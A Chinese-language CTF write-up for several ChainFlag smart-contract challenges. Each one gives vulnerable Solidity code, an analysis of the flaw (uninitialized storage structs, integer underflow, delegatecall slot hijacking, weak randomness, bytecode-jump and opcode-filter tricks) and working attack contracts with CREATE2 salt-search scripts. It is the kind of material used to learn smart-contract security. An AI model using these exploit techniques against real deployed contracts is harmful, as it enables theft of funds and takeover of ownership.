CTF导航 CTF导航

ChainFlag

区块链安全 6个月前 admin
61 0 0

Storage

0x01cow

  • Source Code

pragma solidity ^0.4.0;contract cow{    address public owner_1;    address public owner_2;    address public owner_3;    address public owner;    mapping(address => uint) public balance;
    struct hacker {        address hackeraddress1;        address hackeraddress2;    }    hacker  h;
    constructor()public{        owner = msg.sender;        owner_1 = msg.sender;        owner_2 = msg.sender;        owner_3 = msg.sender;    }
    event SendFlag(string b64email);
    function payforflag(string memory b64email) public    {        require(msg.sender==owner_1);        require(msg.sender==owner_2);        require(msg.sender==owner_3);        owner.transfer(address(this).balance);        emit SendFlag(b64email);    }
    function Cow() public payable    {        uint geteth=msg.value/1000000000000000000;        if (geteth==1)        {            owner_1=msg.sender;        }    }
    function cov() public payable    {        uint geteth=msg.value/1000000000000000000;        if (geteth<1)        {            hacker  fff=h;            fff.hackeraddress1=msg.sender;        }        else        {            fff.hackeraddress2=msg.sender;        }    }
    function see() public payable    {        uint geteth=msg.value/1000000000000000000;        balance[msg.sender]+=geteth;        if (uint(msg.sender) & 0xffff == 0x525b)        {            balance[msg.sender] -= 0xb1b1;        }    }
    function buy_own() public    {        require(balance[msg.sender]>1000000);        balance[msg.sender]=0;        owner_3=msg.sender;    }
}

  • Analyse

就是通过三关就行了，第一关Cow（）转入一个代币就可以了。第二关发现else中他没有初始化结构体的指针，所以默认为slot0,slot1，因此也是转入一个代币就可以了。第三关直接creat2就可以了。

  • Attack

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;interface cow{    function Cow()external payable;    function cov()external payable;    function see()external payable;    function buy_own()external;    function payforflag(string calldata b)external;}contract Attack{    function attack(address add)public payable{       cow target=cow(add);        target.Cow{value:1 ether}();        target.cov{value:1 ether}();        target.see();        target.buy_own();    }}contract Deploy{    function getBytecode()public pure returns(bytes memory){        bytes memory bytecode=type(Attack).creationCode;        return bytecode;    }    function deploy(uint _salt)external returns(address addr ){        Attack _contract=new Attack{salt:bytes32(_salt)}();        addr=address(_contract);//create2方法相对于原来的方法只需加个大括号    }}
from web3 import Web3, HTTPProvider
deployingAddr = 'aE036c65C649172b43ef7156b009c6221B596B8b'
code = '0x608060405234801561000f575f80fd5b506102848061001d5f395ff3fe60806040526004361061001d575f3560e01c8063d018db3e14610021575b5f80fd5b61003b60048036038101906100369190610223565b61003d565b005b5f8190508073ffffffffffffffffffffffffffffffffffffffff1663ff2eff94670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b15801561008f575f80fd5b505af11580156100a1573d5f803e3d5ffd5b50505050508073ffffffffffffffffffffffffffffffffffffffff166396c50336670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156100f4575f80fd5b505af1158015610106573d5f803e3d5ffd5b50505050508073ffffffffffffffffffffffffffffffffffffffff16639ae5a2be6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610150575f80fd5b505af1158015610162573d5f803e3d5ffd5b505050508073ffffffffffffffffffffffffffffffffffffffff1663ed6b8ff36040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156101ab575f80fd5b505af11580156101bd573d5f803e3d5ffd5b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6101f2826101c9565b9050919050565b610202816101e8565b811461020c575f80fd5b50565b5f8135905061021d816101f9565b92915050565b5f60208284031215610238576102376101c5565b5b5f6102458482850161020f565b9150509291505056fea2646970667358221220ed8cee093c4b37532ca38f3648f878819d5e79c11c8ffaf9b374e4e1f8923a5d64736f6c63430008140033'
s = Web3.keccak(hexstr=code)print(s)a = ''.join(['%02x' % b for b in s])print(a)i = 0while (1):    # 去掉0x,并且补充到bytes32位    salt = hex(i)[2:].rjust(64, '0')    p = Web3.keccak(hexstr=('0xff' + deployingAddr + salt + a))[12:].hex()    if p.endswith("525b"):         print(salt, p)         break    i += 1print(int(salt,16))



0x02rise

  • Code

pragma solidity ^0.4.2;contract rise {    address referee;    uint secret;    uint bl;    mapping(address => uint) public balance;    mapping(address => uint) public gift;    address owner;
    struct hacker {        address hackeraddress;        uint value;    }
    constructor()public{        owner = msg.sender;        referee = msg.sender;        balance[msg.sender]=10000000;        bl=1;        secret=18487187377722;    }    event SendFlag(string b64email);
    modifier onlyOwner(){        require(msg.sender == owner);        _;    }
    modifier onlyRefer(){        require(msg.sender == referee);        _;    }
    function payforflag(string b64email) public    {        require(balance[msg.sender]>1000000);        balance[msg.sender]=0;        bl=1;        owner.transfer(address(this).balance);        emit SendFlag(b64email);    }
    function airdrop() public    {        require(gift[msg.sender]==0);        gift[msg.sender]==1;        balance[msg.sender]+=1;    }
    function deposit() public payable    {        uint geteth=msg.value/1000000000000000000;        balance[msg.sender]+=geteth;    }
    function set_secret(uint target_secret) public onlyOwner    {        secret=target_secret;    }
    function set_bl(uint target_bl) public onlyRefer    {        bl=target_bl;    }
    function risegame(uint guessnumber) public payable    {        require(balance[msg.sender]>0);        uint geteth=msg.value/1000000000000000000;        if (guessnumber==secret)        {            balance[msg.sender]+=geteth*bl;            bl=1;        }        else        {            balance[msg.sender]=0;            bl=1;        }    }
    function transferto(address to) public    {        require(balance[msg.sender]>0);        if (to !=0)        {            balance[to]=balance[msg.sender];            balance[msg.sender]=0;        }        else        {            hacker storage h;            h.hackeraddress=msg.sender;            h.value=balance[msg.sender];            balance[msg.sender]=0;        }    }
}

  • Attack

pragma solidity ^0.8.0;interface rise {    function airdrop() external;    function set_bl(uint target_bl) external;    function risegame(uint guessnumber) external payable;    function transferto(address to)external;}contract Attack{    rise target;    constructor(address add){        target=rise(add);    }    function attack()public payable{        target.airdrop();        target.transferto(address(0));        target.airdrop();        target.set_bl(1000000);        target.risegame{value:1 ether}(1);    }}



0x03roiscoin

  • Code

pragma solidity ^0.4.23;
contract FakeOwnerGame {    event SendFlag(address _addr);
    uint randomNumber = 0;    uint time = now;    mapping (address => uint) public BalanceOf;    mapping (address => uint) public WinCount;    mapping (address => uint) public FailCount;    bytes32[] public codex;    address public owner;    uint256 public settlementBlockNumber;    address public guesser;    uint8 public guess;
    struct FailedLog {        uint failtag;        uint failtime;        uint success_count;        address origin;        uint fail_count;        bytes12 hash;        address msgsender;    }    mapping(address => FailedLog[]) FailedLogs;
    constructor() {        owner = msg.sender;    }
    modifier onlyOwner() {        require(msg.sender == owner);        _;    }
    function payforflag() onlyOwner {        require(BalanceOf[msg.sender] >= 2000);        emit SendFlag(msg.sender);        selfdestruct(msg.sender);    }
    function lockInGuess(uint8 n) public payable {        require(guesser == 0);        require(msg.value == 1 ether);
        guesser = msg.sender;        guess = n;        settlementBlockNumber = block.number + 1;    }
    function settle() public {        require(msg.sender == guesser);        require(block.number > settlementBlockNumber);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
        if (guess == answer) {            WinCount[msg.sender] += 1;            BalanceOf[msg.sender] += 1000;        } else {            FailCount[msg.sender] += 1;        }
        if (WinCount[msg.sender] == 2) {            if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {                guesser = 0;                WinCount[msg.sender] = 0;                FailCount[msg.sender] = 0;                msg.sender.transfer(address(this).balance);            } else {                FailedLog failedlog;                failedlog.failtag = 1;                failedlog.failtime = now;                failedlog.success_count = WinCount[msg.sender];                failedlog.origin = tx.origin;                failedlog.fail_count = FailCount[msg.sender];                failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));                failedlog.msgsender = msg.sender;                FailedLogs[msg.sender].push(failedlog);            }        }    }
    function beOwner() payable {        require(address(this).balance > 0);        if(msg.value > address(this).balance){            owner = msg.sender;        }    }
    function revise(uint idx, bytes32 tmp) {         if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {            codex[idx] = tmp;         }    }}

  • Analyse

题目要求我们余额大于2000，且是owner。其实很简单就是有点绕，余额大于两千我们就进行settle就可以了。但是成为owner就不简单了，我们看到了beOwner，好像很简单的就能成为owner,但是这个函数就是骗人的，永远没法msg.value > address(this).balance。那么我们再看revise函数，它可以设置bytes32[] public codex的值。似乎我们可以利用它来覆盖slot槽，但是我们的数组长度也没这么长啊，我们还要想办法将数组长度变长。在settle中似乎存在一个未初始化的数组，它的后两个值（bytes12 hash；address msgsender;）似乎正位于数组长度的槽。然后经过计算我们发现msgsender的前两位必须大于fb才可以使得数组足够大。slot是从右往左排的。

即slot:———msg.sender———hash———-:    bytse32

那么我们就creat2就可以了。

  • Attack

  • Step

  1. 部署Deploy

  2. 用py寻找到0xfc…………61的地址的salt,然后用creat2部署Attack

  3. 先init，然后attack1

  4. 一直调用attack2，直到结构体修改为止

  5. 调用findslot修改owner。然后所有要求就完成了

pragma solidity ^0.8.0;
interface FakeOwnerGame{    function lockInGuess(uint8 n) external payable;    function settle() external;    function revise(uint idx, bytes32 tmp)external;}contract Attack{    uint a=5;    FakeOwnerGame target;
     function init(address add)public{        target=FakeOwnerGame(add);    }
    function attack1()public payable{        require(msg.value==1 ether);        target.lockInGuess{value:1 ether}(1);    }
    function attack2()public {            target.settle();    }
    function findslot()public returns(bytes32){        uint slot=2**256-1-uint(keccak256(abi.encodePacked(a)))+7;        target.revise(slot,bytes32(uint(uint160((address(msg.sender))))));        return bytes32(slot);    }}contract Deploy{     Attack public _contract;    function getcode()public pure returns(bytes memory){        bytes memory bytecode =type(Attack).creationCode;        return bytecode;    }    function deploy(uint salt)public returns(address add){        _contract=new Attack{salt:bytes32(salt)}();        add=address(_contract);    }}// 114245411204874937970903528273105092893277201882823832116766311725579567940182 owner槽的位置

from web3 import Web3, HTTPProvider
deployingAddr = 'A64F13F05479C8d1eB5adF6cDB85fA2303CcFC0f'
code = '0x608060405260055f55348015610013575f80fd5b5061058b806100215f395ff3fe608060405260043610610042575f3560e01c8063171953301461004557806319ab453c1461006f578063419efc03146100975780639fcec698146100a157610043565b5b005b348015610050575f80fd5b506100596100b7565b6040516100669190610340565b60405180910390f35b34801561007a575f80fd5b50610095600480360381019061009091906103b7565b6101c0565b005b61009f610203565b005b3480156100ac575f80fd5b506100b56102aa565b005b5f8060075f546040516020016100cd919061040b565b604051602081830303815290604052805190602001205f1c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101109190610452565b61011a9190610485565b905060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630339f300823360601b6bffffffffffffffffffffffff19166040518363ffffffff1660e01b815260040161018a9291906104c7565b5f604051808303815f87803b1580156101a1575f80fd5b505af11580156101b3573d5f803e3d5ffd5b50505050805f1b91505090565b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b670de0b6b3a76400003414610216575f80fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c0e0054670de0b6b3a764000060016040518363ffffffff1660e01b815260040161027a919061053c565b5f604051808303818588803b158015610291575f80fd5b505af11580156102a3573d5f803e3d5ffd5b5050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166311da60b46040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610310575f80fd5b505af1158015610322573d5f803e3d5ffd5b50505050565b5f819050919050565b61033a81610328565b82525050565b5f6020820190506103535f830184610331565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6103868261035d565b9050919050565b6103968161037c565b81146103a0575f80fd5b50565b5f813590506103b18161038d565b92915050565b5f602082840312156103cc576103cb610359565b5b5f6103d9848285016103a3565b91505092915050565b5f819050919050565b5f819050919050565b610405610400826103e2565b6103eb565b82525050565b5f61041682846103f4565b60208201915081905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61045c826103e2565b9150610467836103e2565b925082820390508181111561047f5761047e610425565b5b92915050565b5f61048f826103e2565b915061049a836103e2565b92508282019050808211156104b2576104b1610425565b5b92915050565b6104c1816103e2565b82525050565b5f6040820190506104da5f8301856104b8565b6104e76020830184610331565b9392505050565b5f819050919050565b5f60ff82169050919050565b5f819050919050565b5f61052661052161051c846104ee565b610503565b6104f7565b9050919050565b6105368161050c565b82525050565b5f60208201905061054f5f83018461052d565b9291505056fea2646970667358221220226014c11c2827793bfe1f14fb40e6c9da3f7719bb13e63747b9c4dc2a0b7f9f64736f6c63430008140033'
s = Web3.keccak(hexstr=code)print(s)a = ''.join(['%02x' % b for b in s])print(a)i = 0while (1):    # 去掉0x,并且补充到bytes32位    salt = hex(i)[2:].rjust(64, '0')    p = Web3.keccak(hexstr=('0xff' + deployingAddr + salt + a))[12:].hex()    if p.startswith("0xfc")&p.endswith("61"):         print(salt, p)         break    i += 1print(int(salt,16))



0x04bank

  • Code

pragma solidity ^0.4.24;
contract Bank {    event SendEther(address addr);    event SendFlag(address addr);
    address public owner;//slot 0    uint randomNumber = 0;//slot 1    constructor() public {        owner = msg.sender;    }    struct SafeBox {        bool done;        function(uint, bytes12) internal callback;//bytes8        bytes12 hash;        uint value;    }    SafeBox[] safeboxes;// slot 2
    struct FailedAttempt {        uint idx;        uint time;        bytes12 triedPass;        address origin;    }    mapping(address => FailedAttempt[]) failedLogs;//slot 3
    modifier onlyPass(uint idx, bytes12 pass) {        if (bytes12(sha3(pass)) != safeboxes[idx].hash) {            FailedAttempt info;// ld            info.idx = idx;            info.time = now;            info.triedPass = pass;            info.origin = tx.origin;            failedLogs[msg.sender].push(info);        }        else {            _;        }    }
    function deposit(bytes12 hash) payable public returns(uint) {        SafeBox box; //ld        box.done = false;        box.hash = hash;        box.value = msg.value;        if (msg.sender == owner) {            box.callback = sendFlag;        }        else {            require(msg.value >= 1 ether);            box.value -= 0.01 ether;            box.callback = sendEther;        }        safeboxes.push(box);        return safeboxes.length-1;    }
    function withdraw(uint idx, bytes12 pass) public payable {        SafeBox box = safeboxes[idx];        require(!box.done);        box.callback(idx, pass);        box.done = true;    }
    function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {        msg.sender.transfer(safeboxes[idx].value);        emit SendEther(msg.sender);    }
    function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {        require(msg.value >= 100000000 ether);        emit SendFlag(msg.sender);        selfdestruct(owner);    }}

  • Analyse

  • 题目分析

这一题是比较好且好玩的一题。我们要完成合约需要调用内部合约sendFlag（）且传入100000000 ether才能完成，但是不太可能。那么我们一步一步的来，合约中存在结构体覆盖的漏洞，onlyPass中可以覆盖到数组的长度的槽，因此我们数组长度变大，可以覆盖其他的槽。但是这有什么用能？我们发现withdraw可以调用box.callback,即可以跳转到callback(bytes8)对应的函数JUMPDEST。那么我们可以跳转到sendFlag（）函数里面，但是我们还要支付100000000 ether。那么我们会想可不可以绕过支付钱这一步，而是直接跳转到emit SendFlag(msg.sender)？那么我们需要找到合约对应的最基础的操作

ChainFlag

这是对合约字节码反编译时发现的，我们看到在06F5（这一步正是callback的值对应的跳转地）时跳转目的地sendFlag（）函数,在06F6时push了100000000 ether，在070F时又进行了跳转目的地，该目的地正是emit SendFlag(msg.sender)。那么我们会想如果我们直接跳转到070F那么不就成功绕过100000000 ether这个条件了？

所以我们要想方设法更改callback它的值。

  • 如何更改callback

这里就用到了我们刚刚提到的结构体覆盖漏洞了。我们调用deposit函数并且传入1ether,成功的为withdraw的调用做准备。然后我们调用withdraw，我会进入onlyPass,导致槽被覆盖，同时存入一个自定义的bytes12 pass,并且储存到映射结构体数组中，我们分别看一下两个数组占用的储存位置

safeBox:

—————————————————–

unused (11) | hash (12) | callback (8) | done (1) |    1

—————————————————–

value (32)                    |                    2

—————————————————–

FailedAttempt

—————————————————–

idx (32)                     |                      1

—————————————————–

time (32)                     |                      2

—————————————————–

origin (20)         |   triedPass (12)   |                 3

—————————————————–

我们知道triedPass 是我们自定义的，而它所在的位置也包含了callback ，因此我们可以通过更改triedPass的值，使其数组SafeBox[] safeboxes的特定索引可以找到其对应的值，然后取callback的时候取走的是triedPass的部分值，使这部分值为000000000000070F；从而完成跳转，完成合约。

  • 需要注意的是

1.我们必须要寻找到符合的msg.sender使safeBox的第一个槽恰恰好可以在FailedAttempt的第三个槽的位置，而不是safeBox的第二个槽在FailedAttempt的第三个槽的位置。

2.我们数组长度要尽可能长点，否则没法寻找到映射结构体数组的位置，因此我们的msg.sender的前几位要大于最小长度的前几位。要满足这个条件应该很容易。

  • Attack

contract Attack{    Bank target;    uint public v=uint(0x3b1cc29c72f9df2b628a8d6a5e6f1ee64e672d27a5e07b27d5010855efd2cdf8);    constructor(address add)payable{        target=Bank(add);
    }    function Arrystart()public pure returns(uint){//数组的起始位置        bytes32 a=keccak256(bytes32(2));        return uint(a);    }    function Mapstart()public view returns(uint){//映射结构体数组的起始位置        bytes32 a=keccak256(keccak256(abi.encodePacked(bytes32(address(msg.sender)),bytes32(3))));        return uint(a);    }    function find()public view returns(uint){//恰好可以覆盖的最小长度  ==  也是我们需要的索引值。        uint a=(Mapstart()-Arrystart())%2;        require(a==0,"failed");        uint b=(Mapstart()-Arrystart())/2+1;        return b;    }}

  • 然后开始攻击

  1. deposit(0x000000000000000000000000){value:1 ether};  设置callback为sendEther,为下一步deposit进入onlyPass做准备

  1. withdraw(0,0x111111000000000000070F00):  1的位置随便填，这一步完成了数组长度的覆盖，并且也设置好了未来的callback的值（bytes8:000000000000070F），可谓点睛之笔;

  2. withdraw(index,0x000000000000000000000000):  index是我们寻找到的，数组覆盖映射结构体数组的特定index,此时特定index的callback就是tiredPass的一部分，也就是000000000000070F，然后通过callback直接绕过100000000 ether,直接发送事件，并且自毁，然后完成题目！！！！！！！

    考察点：主要考察的是字节码的跳转，要理解字节码的运作原理以及跳转的运作原理，同时要注意结构体的覆盖，以及数组的覆盖，利用它们可以取到任何我们想要的值，只要给我们一个可以更改值的槽，我们就可以在合约中得到任意我们想要的值，从而使得我们拥有很大的操作空间。

    Integer overflow

    0x01bet

    pragma solidity ^0.4.24;
    contract bet {    uint secret;    address owner;
        mapping(address => uint) public balanceOf;    mapping(address => uint) public gift;    mapping(address => uint) public isbet;
        event SendFlag(string b64email);
        function Bet() public{        owner = msg.sender;    }
        function payforflag(string b64email) public {        require(balanceOf[msg.sender] >= 100000);        balanceOf[msg.sender]=0;        owner.transfer(address(this).balance);        emit SendFlag(b64email);    }

        //to fuck
        modifier only_owner() {        require(msg.sender == owner);        _;    }
        function setsecret(uint secretrcv) only_owner {        secret=secretrcv;    }
        function deposit() payable{        uint geteth=msg.value/1000000000000000000;        balanceOf[msg.sender]+=geteth;    }
        function profit() {        require(gift[msg.sender]==0);        gift[msg.sender]=1;        balanceOf[msg.sender]+=1;    }
        function betgame(uint secretguess){        require(balanceOf[msg.sender]>0);        balanceOf[msg.sender]-=1;        if (secretguess==secret)        {            balanceOf[msg.sender]+=2;            isbet[msg.sender]=1;        }    }
        function doublebetgame(uint secretguess) only_owner{        require(balanceOf[msg.sender]-2>0);        require(isbet[msg.sender]==1);        balanceOf[msg.sender]-=2;        if (secretguess==secret)        {            balanceOf[msg.sender]+=2;        }    }
    }

    Bet随便调用，直接用doublebetgame溢出就可以了



    0x02hf

    pragma solidity ^0.4.24;
    contract hf {    address secret;    uint count;    address owner;
        mapping(address => uint) public balanceOf;    mapping(address => uint) public gift;
        struct node {        address nodeadress;        uint nodenumber;    }
        node public node0;
        event SendFlag(string b64email);
        constructor()public{        owner = msg.sender;    }
        function payforflag(string b64email) public {        require(balanceOf[msg.sender] >= 100000);        balanceOf[msg.sender]=0;        owner.transfer(address(this).balance);        emit SendFlag(b64email);    }

        //to fuck
        modifier onlySecret() {        require(msg.sender == secret);        _;    }
        function profit() public{        require(gift[msg.sender]==0);        gift[msg.sender]=1;        balanceOf[msg.sender]+=1;    }
        function hfvote() public payable{        uint geteth=msg.value/1000000000000000000;        balanceOf[msg.sender]+=geteth;    }
        function ubw() public payable{        if (msg.value < 2 ether)        {            node storage n = node0;            n.nodeadress=msg.sender;            n.nodenumber=1;        }        else        {            n.nodeadress=msg.sender;            n.nodenumber=2;        }    }
        function fate(address to,uint value) public onlySecret {        require(balanceOf[msg.sender]-value>=0);        balanceOf[msg.sender]-=value;        balanceOf[to]+=value;    }
    }

    结构体为初始化，覆盖secret,然后fate溢出就可以了。

    Delegatecall

    0x01Counterstrike

    • Code

    pragma solidity ^0.5.10;
    contract EasyBomb{    bool private hasExplode = false;    address private launcher_address;    bytes32 private password;    bool public power_state = true;    bytes4 constant launcher_start_function_hash = bytes4(keccak256("setdeadline(uint256)"));    Launcher launcher;
        function msgPassword() public returns (bytes32 result)  {        bytes memory msg_data = msg.data;        if (msg_data.length == 0) {            return 0x0;        }        assembly {            result := mload(add(msg_data, add(0x20, 0x24)))        }    }
        modifier isOwner(){        require(msgPassword() == password);        require(msg.sender != tx.origin);        uint x;        assembly { x := extcodesize(caller) }        require(x == 0);        _;    }
        modifier notExplodeYet(){        launcher = Launcher(launcher_address);        require(block.number < launcher.deadline());        hasExplode = true;        _;    }
        constructor(address _launcher_address, bytes32 _fake_flag) public {        launcher_address = _launcher_address;        password = _fake_flag ;    }
        function setCountDownTimer(uint256 _deadline) public isOwner notExplodeYet {        launcher_address.delegatecall(abi.encodeWithSignature("setdeadline(uint256)",_deadline));    }}
    contract Setup {    EasyBomb public easyBomb;
        constructor(bytes32 _password) public {        easyBomb = new EasyBomb(address(new Launcher()), _password);    }
        function isSolved() public view returns (bool) {        return easyBomb.power_state() == false;    }}
    contract Launcher{    uint256 public deadline;    function setdeadline(uint256 _deadline) public {        deadline = _deadline;    }
        constructor() public {        deadline = block.number + 100;    }}

    • Analyse

    题目要求我们改变power_state的状态为false，而函数setCountDownTimer覆盖了launcher_address，因此我们可以覆盖launch_address,然后自己写个合约来覆盖power_state从而完成题目。setCountDownTimer有两关，第一关容易满足，第二关isOwner有的麻烦，我们先通过脚本得到password=0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d

    然后我们需要构建msg.data,因为他return的是mload(add(msg_data, add(0x20, 0x24))){即需要取68位以后的}，前32位储存的是长度（mload(0x00)是数据的长度），因此我们需要使构造的msg.data的后36位是password,而selector为4位，uint传入的参数为32位，因此后面传入的就要是password了,然后我们就用参数uint去覆盖launcher_address，launcher_address与hasExplode共占一个槽，所以覆盖的时候需要注意。

    • Attack

    contract Attack{    uint256 deadline;    constructor(address addr)public{        address target=addr;        bytes32 password=0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d;        address mycontract=address(new Hack());        bytes memory data0=abi.encodeWithSignature("setCountDownTimer(uint256)",uint(uint168(uint160(mycontract))<<8),password);        target.call(data0);        bytes memory data1=abi.encodeWithSignature("setCountDownTimer(uint256)",0,password);        target.call(data1);    }}
    contract Hack{    uint256 public deadline=block.number + 100;    bytes32 public password;    bool public power_state = true;    function setdeadline(uint256 _deadline) public {        power_state=false;    }}

    data0中自己写的覆盖合约Hack需要移动8位，防止覆盖到hasExplode参数了，注意自己生产的Hack合约中的deadline参数不能为0，因为这样会通不过第一个关卡的require(block.number < launcher.deadline());

    获取password

    from web3 import Web3import utilsw3 = Web3(Web3.HTTPProvider())addr = ""
    a = w3.eth.get_storage_at(addr, 1)print(a.hex())

    Bad randomness

    0x01EOSGame

    • Code


    pragma solidity ^0.4.24;
    library SafeMath {
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {    if (a == 0) {      return 0;    }
        uint256 c = a * b;    require(c / a == b);
        return c;  }
      function div(uint256 a, uint256 b) internal pure returns (uint256) {    require(b > 0); // Solidity only automatically asserts when dividing by 0    uint256 c = a / b;    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;  }
      /**  * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).  */  function sub(uint256 a, uint256 b) internal pure returns (uint256) {    require(b <= a);    uint256 c = a - b;
        return c;  }
      /**  * @dev Adds two numbers, reverts on overflow.  */  function add(uint256 a, uint256 b) internal pure returns (uint256) {    uint256 c = a + b;    require(c >= a);
        return c;  }
      /**  * @dev Divides two numbers and returns the remainder (unsigned integer modulo),  * reverts when dividing by zero.  */  function mod(uint256 a, uint256 b) internal pure returns (uint256) {    require(b != 0);    return a % b;  }}
    contract EOSToken{    using SafeMath for uint256;    string TokenName = "EOS";
        uint256 totalSupply = 100**18;    address owner;    mapping(address => uint256)  balances;
        modifier onlyOwner() {        require(msg.sender == owner);        _;    }
        constructor() public{        owner = msg.sender;        balances[owner] = totalSupply;    }
        function mint(address _to,uint256 _amount) public onlyOwner {        require(_amount < totalSupply);        totalSupply = totalSupply.sub(_amount);        balances[_to] = balances[_to].add(_amount);    }
        function transfer(address _from, address _to, uint256 _amount) public onlyOwner {        require(_amount < balances[_from]);        balances[_from] = balances[_from].sub(_amount);        balances[_to] = balances[_to].add(_amount);    }
        function eosOf(address _who) public constant returns(uint256){        return balances[_who];    }}
    contract EOSGame{
        using SafeMath for uint256;    mapping(address => uint256) public bet_count;    uint256 FUND = 100;    uint256 MOD_NUM = 20;    uint256 POWER = 100;    uint256 SMALL_CHIP = 1;    uint256 BIG_CHIP = 20;    EOSToken  eos;
        event FLAG(string b64email, string slogan);
        constructor() public{        eos=new EOSToken();    }
        function initFund() public{        if(bet_count[tx.origin] == 0){            bet_count[tx.origin] = 1;            eos.mint(tx.origin, FUND);        }    }
        function bet(uint256 chip) internal {        bet_count[tx.origin] = bet_count[tx.origin].add(1);        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));        uint256 shark = seed_hash % MOD_NUM;        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));        uint256 lucky = lucky_hash % MOD_NUM;        if (shark == lucky){            eos.transfer(address(this), tx.origin, chip.mul(POWER));        }    }
        function smallBlind() public {        eos.transfer(tx.origin, address(this), SMALL_CHIP);        bet(SMALL_CHIP);    }
        function bigBlind() public {        eos.transfer(tx.origin, address(this), BIG_CHIP);        bet(BIG_CHIP);    }
        function eosBlanceOf() public view returns(uint256) {        return eos.eosOf(tx.origin);    }
        function CaptureTheFlag(string b64email) public{        require (eos.eosOf(tx.origin) > 18888);        emit FLAG(b64email, "Congratulations to capture the flag!");    }}

    • Analyse

    就是一个随机数。

    • Attack

    contract attack{    mapping(address => uint256) public bet_count;    EOSGame tar;    uint256 MOD_NUM = 20;    uint public a;    uint public b;    constructor(address addr){        bet_count[tx.origin]+=1;        tar=EOSGame(addr);        tar.initFund();    }
        function core()public returns(uint sharknum,uint luckynum) {        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));        uint256 shark = seed_hash % MOD_NUM;        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));        uint256 lucky = lucky_hash % MOD_NUM;        if (shark == lucky){            bet_count[tx.origin] = bet_count[tx.origin]+1;            tar.bigBlind();        }        return(shark,lucky);    }}

    Opcodes

    0x01BoxGame

    • Code

    pragma solidity ^0.5.10;
    contract BoxGame {
        event ForFlag(address addr);    address public target;
        function payforflag(address payable _addr) public {
            require(_addr != address(0));
            uint256 size;        bytes memory code;
            assembly {            size := extcodesize(_addr)            code := mload(0x40)            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))            mstore(code, size)            extcodecopy(_addr, add(code, 0x20), 0, size)        }
            for(uint256 i = 0; i < code.length; i++) {            require(code[i] != 0xf0); // CREATE            require(code[i] != 0xf1); // CALL            require(code[i] != 0xf2); // CALLCODE            require(code[i] != 0xf4); // DELEGATECALL            require(code[i] != 0xfa); // STATICCALL            require(code[i] != 0xff); // SELFDESTRUCT        }
            _addr.delegatecall(abi.encodeWithSignature(""));        selfdestruct(_addr);    }
        function sendFlag() public payable {        require(msg.value >= 1000000000 ether);        emit ForFlag(msg.sender);    }
    }

    • Analyse

    nc得到的源代码并不是这个，而是另一个，就因为这一点写的想吐。我们得到合约的地址反编译一下可以看到他的反编译结果与给出的代码合约不同，因此它用的是另一个合约，合约源码如上。我们想要触发合约的ForFlag,通过函数sendFlag显然不太可能，我们发现又delegatecall，那么我们构造一个合约，用来直接触发ForFlag。且合约字节码不能有f0,f1,f2,f4,fa,ff。

    观察合约中的ForFlag的操作原理以及字节码的构成。

    ChainFlag

    找到反编译后ForFlag的字节码位置，如图。因此我们addr的地址需要构造为

            02EC    60  PUSH1 0x40        02EE    80  DUP1        02EF    51  MLOAD        02F0    33  CALLER        02F1    81  DUP2        02F2    52  MSTORE        02F3    90  SWAP1        02F4    51  MLOAD        02F5    7F  PUSH32 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2        0316    91  SWAP2        0317    81  DUP2        0318    90  SWAP1        0319    03  SUB        031A    60  PUSH1 0x20        031C    01  ADD        031D    90  SWAP1        031E    A1  LOG1
    code: 6040805133815290517F89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e29181900360200190A1

    但是我们发现，0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2中存在f0,那么我们用e0+10来解决就可以了，所以构造好的字节码就是

